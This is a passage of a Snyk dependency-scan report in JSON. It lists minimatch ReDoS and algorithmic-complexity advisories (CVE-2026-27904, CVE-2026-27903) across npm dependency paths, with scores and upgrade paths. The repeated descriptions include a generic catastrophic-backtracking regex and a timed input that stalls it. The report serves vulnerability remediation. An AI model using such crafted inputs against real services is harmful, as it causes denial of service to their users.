{ "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": 